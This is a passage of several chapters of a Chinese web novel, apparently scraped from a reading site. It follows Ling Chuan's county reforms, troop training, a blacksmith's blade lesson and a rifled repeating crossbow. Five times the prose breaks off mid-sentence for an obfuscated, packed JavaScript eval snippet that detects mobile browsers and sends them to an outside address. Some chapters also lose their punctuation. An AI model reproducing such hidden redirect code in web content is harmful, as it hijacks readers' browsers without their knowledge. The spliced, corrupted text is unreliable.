谢知命连连点头,说道:“凌兄所言极是,我已经在着手准备了,只不过目前人手紧缺,实在是分身乏术啊!” 县衙就只有王栩等二十余名衙役可用,如今云岚县大洗牌,很多事情都需要处理,仅靠这二十多衙役肯定忙不过来,凌川提议道:“明天我让纪天禄来协助你!” 谢知命闻言大喜,“那可真是感激不尽!” 眼下,凌川也有一大堆事情需要处理。 首先就是,随着矿区解决之后,铁矿石已经不成问题,他要着手大批量炼制兵甲了,好在之前在兵甲炼制方面做足了准备工作,再加上杨铁匠这位锻造行家的指点,工艺方面完全不用凌川担心。 至于矿区,凌川并没打算立即开采,昨日他去现场看过,这座矿山的铁矿石非常丰富,这几年刘家开采的连总量的十分之一都不到,但,由于刘家没有开采经验,再加上他们压根没把这些矿工当人看,以至于整个矿区到处都有坍塌的危险。 眼下,首先要做的是将这些安全隐患排除,确保在后续的开采中不会出现坍塌事故,至于铁矿石,矿营里面堆的那些便足够用很久。 除了对矿区进行加固处理之外,凌川还对矿营进行了重新规划,大体按照军营建造的格局来,只不过,规模没有那么大。 紧接着,凌川又设计了一套传送装置,这样可以减少人力搬运矿石,减少矿工们的劳动强度,就连墨巡看到图纸之后,都大为称赞,说以凌川的天赋,不拜入墨家门下,实在是可惜了。 此外,刘晏这边也开始大量招聘人手,男女皆可,就算是没有手艺也行。 毕竟,酿酒、织布、打铁这些都需要很多杂工,当然,杂工和手艺人的工钱是不一样的。 随着生产规模越来越大,凌川决定将酿酒、织布这些搬到刘家庄园。 一来是庄园环境更好一些,再则来说,这么多女子住在军营里面,保不齐会出岔子,如今条件允许,自然是分开更好。 第122章 从严治军! 转眼间半个月过去了。 有了节度府的任书,谢知命这个县令位置算是彻底坐稳。 此外,还有一则消息让云州各县大为震惊,那就是云州刺史被廷尉府带走,具体原因没人知道,而且目前还没有新刺史就任。 这消息在云州乃至北疆卷起惊涛巨浪,不过,对于普通百姓而言,距离太过遥远。 如今,云岚县各方面已经逐步进入正轨,这段时间,谢知命可谓是呕心沥血,原本一个儒雅书生,半个月下来,俨然变成了不修边幅的田舍翁。 谢知命的能力非常出众,而且很多事情都力求亲力亲为,白天走访百姓,了解百姓的需求和困难,晚上回县衙处理事务。 这段时间,他将农耕、水利、商贸等重要事项一一梳理,谢知命在这些方面都有着自己的独到见解,一些拿不准的事情,也会找到凌川商议。 对于凌川来说,这些问题前世的古人已经给出了完美答案,根本不需要动脑子,很多时候,凌川随口一句便帮助谢知命解决困扰许久的问题。 就好比,凌川建议他借助乡绅的力量共同治理,这样既能将这些乡绅联合起来,免得他们动歪心思,同样,也要给他们一定的好处,避免他们出工不出力。 要是在以往,这些乡绅肯定不会轻易答应,就算答应,也会狮子大开口。 但,经历了刘家的覆灭之后,这段时间,一众乡绅财主可谓是心惊胆战、如坐针毡,生怕凌川连他们也一起收拾,毕竟,这些年,他们做过的缺德事也不在少数。 谁都知道,谢知命是凌川一手推到位置上去的,解决掉刘家之后,再连同他们一起清算也不是不可能。 而谢知命抓住这个档口上门,他们便答应得异常爽快。 凌川这边,各项事务也都如火如荼地有序推进。 首先是生意上,狼血酒已经销往整个云州,随着这种酒在市场上出现,毫无意外地引发了巨大反响,各大酒楼酒馆纷纷反应供不应求,甚至有很多人愿意加价购买。 就这半个月,日销量便达到了两千斤,这还只是云州境内。 可以预料,用不了多久,狼血的名声就会冲出云州,甚至是冲出北境,到那个时候销量定会达到一个惊人的数字。 此外,棉布也在逐步推向云州各县,虽然才到起步阶段,至少云岚县的反响特别好。 苏璃让人在云岚县开了一家布庄,三十匹棉布一天不到就卖完了,而且,老百姓纷纷上门求购。 各大布庄得知消息后 ,也都找上门求购,毕竟这棉布的质地比市面上所有棉布都要好,价格也非常亲民,最主要是对于寒冷的北境来说,这种棉布做的衣服防寒效果极佳。 其实,在凌川的构想中,是要将棉布做成衣服和各种成品售卖,形成一条完整产业链,这样利润更高,但眼下显然是实施不了。 如今,生意这边的事情基本上都是苏璃在打理,凌川几乎没有插手。 睡前躺在床上,苏璃会将进展情况以及遇到的问题跟凌川讲,凌川也会给一些建议。 不得不说,苏璃不愧为大户人家的女子,无论是眼光还是格局都非一般人可比,再加上她本就聪慧过人,很多事情一点就通。 至于凌川这边,主要把精力放到军营这边。 最近,又招收了三百新兵,成立了戊标,标长名叫朱武,出自南系军,曾是唐岿然手下的一名标长,副标正是曾与轩辕孤鸿一起服役于北系军的张尧。 这些新兵皆是云岚县本地青壮,有近两百人是之前被章俊以招兵名义押送到矿区的青壮年。 虽然这一营新兵短时间内还不能形成战斗力,但凌川却发现,其中有不少好苗子,只要加以培养,以后不说升将军,当个校尉都尉绝对是绰绰有余。 通过这段时间的操练,原本的四标士兵整体实力上升了很大一截,特别是凌川发明的四百米障碍一开始让很多人苦不堪言,就连不少什长伍长都觉得太艰苦。 然而,经过一段时间的训练下来,很多人发现,自己无论是体力、应敌反应、作战技巧乃至于意志方面都有显著提升。 只是,凌川并没有告诉他们,他们现在的四百米障碍考核成绩,距离达标还有很长一段距离。 此外,凌川还给所有人加了一个训练项目,那就是前世军队中的负重五公里,每天早上,围绕云岚县跑一圈。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948038|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,为了方便大家理解,凌川将这两个项目取了一个新名字,四百米障碍更名为八百步逾障。负重五公里则是改为擐甲十里趋。 日常操练中,斥候队、重甲队的操练项目各不相同,但八百步逾障和擐甲十里趋这两个项目,是全员必须参与,就连亲兵队乃至凌川本人都得参加。 之所以加上这个项目,一来是向百姓们展示军容军威,其二,在作战中这也用得着,比如在没有战马。或是战马去不了的特殊地形,行军速度将会大大提升。 哪怕大家都经过了一段时间的八百步逾障训练,但面对这擐甲十里趋依旧很吃力,要知道,他们的身上的铠甲、兵器加 上水壶和粮袋足有接近四十斤。 刚开始这几天,很多人脚都磨破了,双腿打颤站立不稳,可凌川依旧命令大家,早饭之后训练继续。 一连三天下来,很多士兵都吃不消,各标也都出现了抱怨的声音,得知这个消息,凌川并没有生气,而是带着亲兵队来到校场。 “擂鼓!”凌川登上点将台,沉声说道。 “咚咚咚……” 一名亲兵擂动鼓架之上的战鼓,沉闷的鼓声传遍整个校场。 听闻鼓声,所有人神色一变,因为点将鼓响就意味着有战事发生,亦或是紧急情况。 各标上至标长副标、下至什长伍长,迅速行动起来,开始催促手下士兵校场集结。 三通鼓响之后,人数较少的亲兵队和斥候队集结完毕,五通鼓响之后,重甲队与五标人马才勉强集结完毕。 身着铠甲的凌川立于台上,只见他抬起右手,鼓声顿止。 “现在传达一条军令,初鼓整装,再鼓列队,三鼓成阵。下次三通鼓响之后若未成阵,全伍皆斩,标长副标免为士兵!”凌川神色肃穆,声音冰冷。 此言一出,所有人眼神中都闪过一丝苦涩,三通鼓响便要集结完毕,这未免太苛刻了。 只不过,众人只是在心里抱怨,并没有说出来。 “我知道你们觉得我很苛刻,甚至觉得我在强人所难,但,我要告诉你们,想要成为百战百胜的无敌雄甲,想要成为所向披靡的沙场王者,这只是最基本的要求!” 第123章 校场训话! 凌川严肃的目光从下方众人身上扫过,最终停留在丁标的一名士兵身上。 “丁标王贵,出列! “属下在! 王贵眼满脸疲惫,但听到校尉点自己的名,顿时变得紧张起来,大步跑到队伍前方。 “你脸上是什么?在问这句话的时候,凌川的语气缓和了许多,就像是日常聊天询问那般。 王贵一愣,眼神中顿时写满了紧张,但还是伸手擦了擦脸。 其他人同样是不明所以,不明白凌川为何会问这个一个毫不相干的问题。 “告诉我,是什么?凌川又问道。 王贵看了看手上,并无它物,只有一滩汗水。 “回校尉大人,是汗水!王贵硬着头皮回答道。 “很好!凌川点了点头,说道:“转身,摘下头盔,让大家看看! 王贵虽然依旧不知道校尉想干什么,但心里明显松了一口气,转过身,将自己的头盔摘下,露出那已经被汗水浸湿的头发。 “你们肯定在心里抱怨,训练太苦、太累,但,我要告诉你们的是,训练的时候多流汗,是为了让你们在战场上少流血!凌川的语气再次恢复了之前的铿锵凌厉。 “我可以对你们仁慈,但上了战场,你能让敌人对你们仁慈吗?你们平时流下的每一滴汗水,都是你们活着走下战场的保障! “你们要记住,你们是边军,不是酒囊饭袋,你们要守护脚下的疆土和身后的百姓!如果你们没有过硬的本事,拿什么守护?凌川的声音越来越凌厉,不少人也都羞愧得低下了头。 “擐甲十里趋很累,但如果在没有战马的情况下,需要急行军怎么办? “八百步逾障很难,但我可以很负责地告诉你们,你们现在的考核成绩,连达标都差得远! 凌川顿了顿,继续说道:“如果怕苦怕累怕死,现在就出列,我让你们离开,我的军营不养窝囊废! “但,我向你们所有人保证,如果你们坚持训练,不久的将来,你们每一个人都将成为沙场悍卒,我们这支军队必将成为纵横沙场的无敌之师,敌人听到我们的马蹄声将会四散溃逃,我们的战刀之上的杀气能将敌人吓破胆! 此言一出,所有人感觉体内的热血被瞬间点燃,眼神中的疲惫和埋怨一扫而空,取而代之的是前所未有的坚定。 “现在,我再问你们一句,累吗?凌川大声问道。 “不累! 下方,所有人齐声大喊,声音 如浪潮,仿佛要震碎天穹。 “我希望你们用实际行动来回答我,而非口号!” 紧接着,凌川看向站在亲兵队前方的苍蝇,喊道:“苍蝇!” “属下在!” “今日起,我将与所有士兵一起完成擐甲十里趋,如无故缺席或考核不达标,军法处置!” 听到这话,全军傻眼,苍蝇也是一脸惊愕,但还是大声回答道:“遵命!” 这段时间,凌川在训练上确实有些松懈,正好借这个机会鞭策自己。 当日下午,凌川提着两坛狼血酒来到炼制兵甲的营房,只见近百工匠忙得热火朝天,烧炉、锻打、淬火、打磨,一道道工序有条不紊地推进。 不远处,杨铁匠正抱着自己的酒葫芦靠在一把躺椅之上,也不知是睡着了还是在养神。 见凌川到来,工匠们纷纷与他打招呼,每个人的眼神中都写满了敬重,不仅是因为凌川给他们开出了比市面上高出一倍的工钱,更因为凌川给云岚县百姓除掉了刘家这一祸害。 如今第一批战刀已经出炉,正在制作刀鞘。 凌川从中随手拿起一把战刀,伸出两根手指在刀身之上轻轻一弹,顿时,一道悠长的轻鸣声传来。 紧接着,凌川又对锋利程度进行了测试,虽然无法与他的那把相比,但已经非常不错了,至少如今边军之中,几乎找不到如此优质的战刀。 凌川来到杨铁匠跟前,将手中两坛狼血放在桌上。 杨铁匠微微睁开眼睛,先是看了看酒坛子,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948039|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后才看向凌川,问道:“你小子该不会是来监我的工吧?” 凌川笑道:“杨师傅这是什么话,你这位大高手往这儿一坐,我这军营就倍儿有面!” “少来这套,我算什么狗屁高手!”杨铁匠摆了摆手,说道。 “第一批刀我看了,很不错,只是不知道相比起大周曾经威震沙场的百炼刀如何?”凌川看着杨铁匠问道。 “有过之而无不及!”杨铁匠肯定地回答道。 以杨铁匠的手艺和眼力,能给出这样的评价,凌川就放心了,又问道:“两千把战刀,需要多久能完成?” 杨铁匠坐起身来,说道:“你找的这些铁匠中,还是有不少手艺不错的,但,这战刀的要求过高,想要完成两千把,至少还要一个月!” “慢一点没关系,一定要保证每一把刀的质量!”凌川点了点头,又看向另外一排营房,问道:“铠甲那边呢,进度怎么样?” “那玩意可就慢得多了,你那狗屁要求又多,没个三个月完不成!” 凌川苦笑道:“没事,我再让刘老哥招一些手艺好的铁匠进来!” 随后,凌川又来到另外一排营房,见到了正在忙碌的墨巡。 原本,墨巡是负责兵甲锻造的所有事宜,但杨铁匠来了之后,二人便分工合作,杨铁匠负责锻造,墨巡则是带着十几名手艺出众的木匠,全身心投入到匣子**的制作中。 “校尉大人!” 听到木匠们跟凌川打招呼,墨巡这才发现凌川已经走到自己跟前。 他连忙起身,对凌川行了一礼,“墨巡见过校尉大人!” 凌川连忙扶住他,说道:“先生切不可行此大礼,凌川受不起!” 二人简单寒暄了几句,墨巡进屋取出一张弓,看造型和尺寸,完全是按照凌川的破甲弓复制而成,不过,在做工上就要精致得多了,这不由让凌川想起上次墨巡‘嘲笑’自己的破甲弓做工粗糙。 两相比较自己的那把破甲弓就像是砖头,而这一把则是精致的玉雕。 第124章 匣子**! “这是我按照大人的破甲弓做的,不过,在弓身和弓弦的用料上做了一些调整,也不知大人用着顺不顺手!” “先生有心了,与你这把相比,我自己做的简直就见不得人!”凌川笑道。 “我不过是依葫芦画瓢,大人能制作出如此精妙的弓,那才是真正的天才!”墨巡继续说道:“之前在测试的时候,就连我这个箭术稀疏平常的人,也能轻松射到两百步之外,而且,准度极其惊人!卑职觉得,若是给士兵们全部配上这破甲弓,战力将难以想象!” 凌川点了点头,说道:“先生高见,我正有此意,不过这事急不来,需一步一步来!” 就在这时,凌川看到他桌上摆着一架组装好的匣子**,外观形状与自己的图纸一般无二,不过,比凌川想象中的还要精巧一些。 “这匣子**进展如何?”凌川问道。 墨巡脸上露出一抹尴尬之色,“说来惭愧,这**已经做出来有几天了,射程、灵活性都没有问题,唯独准度不尽人意!” 凌川单手举起匣子**,对着三丈之外的土墙扣动机括,顿时,三支**箭飞射而出,直奔土墙而去。 随即,他来到土墙跟前,只见两支短箭歪歪斜斜地钉在土墙上,彼此间隔足有三四尺,这明显是准度偏移导致的,其中一支更是太歪,直接掉落在地上。 “属下尝试了很多次,也采取了各种手段进行修正,可依旧不尽人意!”墨巡有些无奈地说道。 他很清楚,这匣子**若是做成功,将会是战场上的一大杀器,特别是双方距离较近的时候,它的威力将达到一个极其恐怖的地步。 它整体精巧,便于携带,哪怕是一只手也能操控,这对于骑兵而言,无异于神兵利器,最主要的是,它能自动填充短箭,每个**夹之中都装有九支短箭,每次同时射出三支,可射三轮。 而且,按照凌川的设计,**夹是单独可拆卸和替换的,也就是说,每人可配置多个**夹,只要事先将**夹全部填满,战斗中就算**夹射空,也能在很短的时间内换上备用**夹。 凌川在了解到情况之后,让墨巡将这把**拆开,很快他便发现了问题所在。 只见他一拍脑门,懊恼道:“都怪我,把这么重要的细节给忽略了!” “校尉大人看出门道了?”墨巡一脸惊愕地问道。 凌川点了点头,指着**上三个出箭口,说道:“在这三个口的内壁刻三条螺旋形线条,线条间距保持一致,就能解决了!” 墨巡虽然将信将疑,但 还是立马动手,按照凌川的要求做了起来。 这三个出箭口只有小指头大,要是一般的工匠想要在里面刻线,而且还得保证间距一致必然很难,但对于墨家弟子来说,就算不得什么了。 仅用了一炷香的时间,墨巡便将三个出箭口内壁的线条刻好。 凌川将其组装了回去,再次对着土墙扣动了机括。 “咻咻咻……” 三支短箭再次飞射而出,伴随着一串闷响,三支短箭板板正正地钉在土墙之上,并无之前东倒西歪的情况发生,而且,三支短箭排列整齐,彼此间隔不超过巴掌宽。 墨巡看着墙上这三支短箭,眼神之中写满了震惊。 他没想到自己研究了这么多天都没有解决的难题,对方只是一眼就发现了问题所在,而且,一次性便将其解决。 墨巡第一次陷入了自我怀疑之中,到底是自己天资愚钝,还是学艺不精? “校尉大人,你这是怎么做到的?”尽管知道是那几条螺旋线条的原因,但他依旧想不明白其中的究竟。 “先生可曾注意到,这三支短箭射出之后,在空中的形态有何不同?”凌川问道。 墨巡目光微凝,想了想,说道:“旋转,是带着旋转飞出去的!” 凌川点了点头,说道:“不错,因为在短箭射出的瞬间,出箭口内的三条线之中有三道气流跟随着短箭一起射出,正是这三道气流包裹在短箭周围,使其始终没有发生偏移!” 凌川将前世**膛线的原理,用最通俗的话语讲给墨巡,后者身为墨家弟子,顿时就明白了其中的原理,只是,这对于他而言,无疑是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948040|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个巨大的冲击。 忽然间,墨巡仿佛醍醐灌顶,很多困扰他的问题,都在刹那间变得通透。 墨巡内心的激动无以言表,看向凌川的目光满是狂热与崇拜。 “大人真乃神人也!” 墨巡很庆幸自己留在凌川帐下,要不然,这个问题他可能一辈子都想不明白。 凌川笑着摆了摆手,随后又在图纸上画了一根钻头,说道:“按照这个图纸做一根钻头,可以省去加工线条的复杂工序,而且,加工出来的线条更准确!” “太好了!”墨巡捧起图纸如获至宝,说道:“大人放心,一个月之内,我一定把五百把匣子**交给你!” “那就辛苦先生了!”凌川抱拳说道。 接下来这段时间,每天清晨,凌川准时到校场,带着全军开始擐甲十里趋。 一开始的时候,不少百姓都心生恐慌,以为是出兵打仗了,虽然近些年来,云岚县从未派兵出征,但他们也知道,北疆边关一直都有战事发生。 可连续几日下来,大家也都习惯了,甚至不少人还按时来到街边观看,对于老百姓而言,如此壮观的场面十分少见。 十天下来,步伐从杂乱无章,逐渐变得整齐划一,队形也从七歪八扭逐渐变得尽然有序。 同样,经历了上次的校场训话之后,所有士兵对待训练的态度截然不同,非但没有半点怨气,反而是卯足了劲,哪怕是双脚磨破了皮,也都在咬牙坚持,不折不扣地完成,这让凌川很是欣慰。 事实上,能有这样的成效,凌川以身作则起到了很大的作用,当很多士兵坚持不住的时候,都会抬起头看向跑在最前面的那道身影。 在他们看来,凌川身为校尉,完全可以搂着美娇娘睡懒觉或是悠闲喝茶,就跟之前的章俊一样。 之前训话说得信誓旦旦,可真要违反了,难道苍蝇还真敢处置他不成? 可事实却是,凌川每天几乎是第一个到场的人,这么多天下来,没有一次缺席,这些,士兵们都看在眼里。 校尉都这般刻苦训练,他们还有什么理由偷懒?还有什么脸面叫苦? 第125章 刀如猛虎,剑似游龙! 凌川除了每日的擐甲十里趋之外还会与士兵一起参加八百步逾障训练当看到凌川的速度之后所有人都为之咋舌。 大家不由得想起之前凌川说他们的八百步逾障考核离合格都差得远这句话并非是打击他们。 此外凌川还找到杨铁匠向他请教刀法出人意料的是这一次杨铁匠爽快答应了。 一直以来凌川对于自己的战力还是很有自信的可先后与狼烽口那名黑衣人和在刘家与关鹤交手之后他才意识到这个世界有很多比自己强的高手。 远的不说就眼前的杨铁匠便是曾经名动江湖的顶级高手起初他并不知道杨铁匠在江湖中的地位直到询问沈珏才得知杨斗重这个名字曾经压得半座江湖抬不起头来。 尽管沈珏并未目睹过那位剑神的绝世风姿 “你是刀法之中能看到诸多流派的影子杂而不精如果只用于战场厮杀倒也够用可若是遇到江湖中的高手就有些不够看了!”杨铁匠看了一遍凌川的刀法说道。 凌川虚心请教:“杨师傅可会高明刀术?传我几招!” 杨铁匠大笑道:“你小子莫不是说书听多了真当这世间有那无双秘籍只要按部就班便可成绝世高手?” “所有的功夫都是如滴水穿石般日积月累而成所谓招式不过是前任从自己的战斗习惯中提炼而来其中虽有不少精妙之术但归根结底还是得看人!” 杨铁匠起身继续说道:“有的招式看似精妙可并不适合你非要违背自己的路子去练最终只会背道而驰相反一些看似平平无奇的招式如果练到极致依然能纵横江湖!” “兵器不过是死物刀法剑术不过是技巧说到底真正强大的还是人只要自身足够强大随手一刀便可摧毁那些精妙术法!” 凌川听得很是认真随即问道:“那我该如何让自己变得强大?” 杨铁匠举起酒葫芦往嘴里灌了一口酒随后从不远处的兵器架上取下一把制式战刀对凌川勾了勾手指。 “来吧!把我当成敌人全力对我出手!” “那就得罪了!”凌川冷喝一声举起战刀直接扑向杨铁匠。 只见凌川一跃而起双手持刀径直朝着杨铁匠斩下这一刀凶猛而霸道大有开山裂石之势。 杨铁匠站在原地不闪不避就在凌川那一刀即将落下的瞬间他一步迈出抬手一掌落在凌川的胸口 。 凌川只感觉一股力量如巨浪拍中他的胸口,整个人被震得倒飞回来,连退数丈才站稳。 与此同时,刚才那一刀的所有攻势都在刹那间被瓦解。 凌川满脸震惊之色,心中暗忖,若是刚才对方用刀而非用掌的话,自己现在已经是一具尸体了。 “再来!”杨铁匠喊道。 凌川深吸一口气,再一次冲了上去,这一次,凌川谨慎了很多,攻不忘守,尽量不露出大的破绽。 只见他一刀刺出,直取杨铁匠胸口,然而,对方只是轻轻挥刀便将他这一刀荡开。 “有形而无实,有气而无势!”杨铁匠的声音传来。 凌川立马变招,一记横扫,宛如泼水成冰一般,将大片寒芒洒出,直取对方腰腹。 忽然,杨铁匠快速出手,用刀背敲在他的手背上,凌川吃痛,手中战刀都险些脱手掉落。 “刀怕手抖,招怕老朽!你连刀都拿不稳,谈何**?”杨铁匠的声音宛如一道道警钟,在凌川的脑海敲响。 凌川没有灰心,再度冲上去,连出三刀,皆被杨铁匠轻松化解,且,杨铁匠每一次都能精准找到他的破绽,并一击必中。 数十招后,杨铁匠的刀尖抵在了凌川的咽喉处,这一刀虽无杀意,可凌川却能感受到对方刀锋之上传来的霸道气息。 他收刀归鞘,后退一步,对着杨铁匠抱拳道:“若真是生死相向,我已经**七次了!” 谁知,杨铁匠却是摇了摇头,说道:“不是七次,是九次!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948041|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌川顿时一惊,刚才交手中对方大多数时间都在抵挡躲避,前后一共出手七次,他为何说自己**九次? 杨铁匠并未解释,而是看着凌川说道:“有道是刀如猛虎,剑似游龙,刀法讲究的是干净利落,霸道果决!” “刚才,你第一招被我化解之后,便心生忌惮,气势上更是弱了三分,以至于后面出刀变得优柔寡断,丝毫没有将刀的强势展现出来!” 凌川暗自震惊,不愧为横压江湖的一代剑神,仅从短暂交手中便看出了自己内心的写照,确实了得。 “晚辈受教了!” 凌川恭恭敬敬对杨铁匠行了一礼,没有往日的调侃,眼神中只有敬重和感激。 杨铁匠满意地点了点头,说道:“小子,老夫只演示一遍,你看好咯!” 说完,杨铁匠身上的气势陡然一变,恍惚间,凌川感觉他整个人就是一把刀,一把锋芒无双,可撕裂天地的绝世利刃。 只见他一步跨出,手中战刀猛然劈下,刹那间,凌川感觉他面前的空气都被撕裂成两半,这一刀势如奔雷,哪怕凌川没有站在他的正前方,也能感受到凌厉气势。 “劈似崩山,撩如挑月!” 只听杨铁匠的声音传来,紧接着他不等劈下这一刀势尽,便立马翻转刀身,猛然撩起。 相比起劈下那一刀,这一击撩刀调转而诡异,主要是与前一刀无缝衔接,令人防不胜防。 “截若电止,斩比江裂!” 杨铁匠刀法时而刚猛如烈火奔雷,时而柔和如清风流水,时而如江河奔流势不可当,时而如羚羊挂角无迹可寻…… “缠借蛇柔,崩靠雷烈!” “抹带残影,带黏劲泄!” 很快,杨铁匠便收刀而止,而凌川却是满脸震惊地呆在原地。 杨铁匠施展的全是他之前使用的那些招数,可无论是威力还是气势,都与自己施展出来有着天壤云泥之别。 第126章 小北想吃鱼了! “你要记住刀怕手抖招怕老朽;进忌力尽退忌背走;缠怕僵肘崩怕缩头;最忌抬眼不见血出刀尤留手!”杨铁匠说完随手将手中战刀丢回兵器架上。 “老夫能教的就这么多能领悟多少就看你自己的悟性和造化了!”杨铁匠举起酒壶往嘴里猛灌了一口。 “谢杨师傅指导我定会刻苦修炼不给你丢脸!”凌川再次躬身行礼满脸认真地说道。 杨铁匠朗声大笑道:“若你练刀的目的是不给我丢脸那你永远也练不好!” “好好想想你为何练刀!”说完杨铁匠转身离去。 凌川站在原地脑海中始终回响着杨铁匠的那句话自己为何练刀? 是为了杀敌建功还是为了防身自保? 是为了守护在意的人还是为了给苏璃报杀父之仇? 似乎都是但又似乎都不全是! 一时间凌川得不到一个标准答案。 凌川不是一个钻牛角尖的人既然想不通那就暂时放在一边空了慢慢想。 只见他再次拔出战刀脑海中回想着杨铁匠之前演示的画面开始练了起来。 今日他可谓是被打击得体无完肤自己引以为傲的近战能力在杨铁匠面前竟是如此的不堪一击。 不过凌川心里没有丝毫气馁反而是无比的激动。 要知道放眼天下能得到此等高手指点的寥寥无几这位剑神若是收徒估计整座江湖都将为之轰动前来拜师者更是如过江之鲫。 力随念走眼随心动! 凌川认真思考杨铁匠之前的每一句话 经过千百次出刀凌川总算是摸到了一些门道只见他一刀劈出空气中隐约传来一丝爆响虽然很细微却让凌川激动无比。 不知不觉中半天过去了而凌川却全然沉浸在练刀之中直到天色渐晚他才收刀离开校场。 就在这时凌川看到不远处有一个小不点正在练习射箭。 凌川笑着走了上去喊道:“小北练得如何了?” 小不点正是小北只见他手中拿着一把用竹篾做的小弓箭壶之中则是一大把茅杆。 “叔叔我都能射二十步了!”小北的笑容中带着几分骄傲。 “真棒!”凌川摸了摸他的脑袋夸赞道。 自来到云岚县之后小家伙的心情明显好了许多脸上经常带着笑容眼神里也恢复了童真与可爱。 不过凌川 知道,小北心中一直有一个执念,那就是参军杀敌,为父母报仇。 凌川与苏璃虽不想他小小年纪便背负仇恨,但最终还是尊重他的选择。 而小北也异常刻苦,士兵操练的时候,他便在校场边上学着他们的样子练习,虽然现在还无法正规训练,但这份坚韧与执着出现在一个五六岁小孩身上,不由让人另眼相看。 军营之中,大家对这个小家伙也十分疼爱,大牛更是喜欢把他放在自己肩膀上玩耍。 “走,回家叔叔给你做好吃的!”凌川拉着小北的手回到校尉府。 校尉府房间足够多,凌川与苏璃住一间,小北住一间,翠花住一间。 前脚进屋,苏璃与翠花后脚便回来,翠花手中提着一大条鲤鱼,小北见状,激动地跑了上去,结果那鱼没死透,一个甩尾便扇在他脸上。 众人见状不由得捧腹大笑,小北也有些懵,跑到苏璃身边,委屈地说道:“婶婶,我想吃鱼了……” “好好好,让你叔叔给你做!”苏璃笑着说道。 凌川熟练地做了一大盆酸菜鱼,要是以前,这条鱼他们吃三天也吃不完,如今有了翠花这位干饭猛将,家里的生活开支直接翻了三番。 “哇,太好吃了!”小北赞不绝口。 凌川给他夹了一块,说道:“赶紧吃吧,一会你翠花姨开动,估计连盆都没了!” 如今,云岚县一切都已步入正轨,矿山经过这段时间的整修,也再次恢复了开采,而且,有了凌川设计的传送装置后,节省了足足三成人力,开采量比之前还要多一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948042|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这除了传送装置的功劳外,还有一部分原因是,现在这些矿工的干劲十足。 以前,他们是活一天算一天的奴隶,再加上饥饿与病痛,劳动力大打折扣。 可现如今,他们不仅每天都能吃饱,而且,每个月还有工钱拿,最主要是每天劳作时间不超过五个时辰,还有假期,这待遇和酬劳,打着灯笼都找不着,以至于一个个都非常卖力,生怕干得不好被开除。 而冶炼这边,凌川让范颉、钱丰等到周围县城售卖狼血和棉布的时候,顺便张贴招工榜文。 很快,又招来了不少铁匠和木匠,被凌川交给墨巡和杨铁匠,参与炼制兵甲和赶制**。 凌川不缺银子,上次刘家查抄出十五万石军粮,哪怕分发了一些给百姓,也还剩下十多万石,云岚县近两千兵力,外加工匠和矿工满打满算三千人。 就算节度府不拨放军粮,这十多万石粮食,也足够他们吃两年有余。 不过营中有一千多匹战马,需要采购大量草料,虽然草料相对便宜,但所需数量却很大,一匹战马的草料与士兵的口粮相比,成本只高不低。 这也说明了为何骑兵相对较少,主要是成本实在是太高了。 银子凌川倒是不担心,毕竟,上次从刘家便搜出二十多万两银子,凌川拨出三万两给谢知命,用于县衙开支。 按照谢知命与凌川之前的计划,接下来会大兴水利、发展农业,这些都是需要银子的。 至于剩下的近二十万两银子,凌川全部存入了校尉府。 之前宴航的态度,算是默许了凌川对刘家缴获的东西自行处理,但,为了以防万一,凌川还是决定将这笔银子存起来,至少先冷却一段时间。 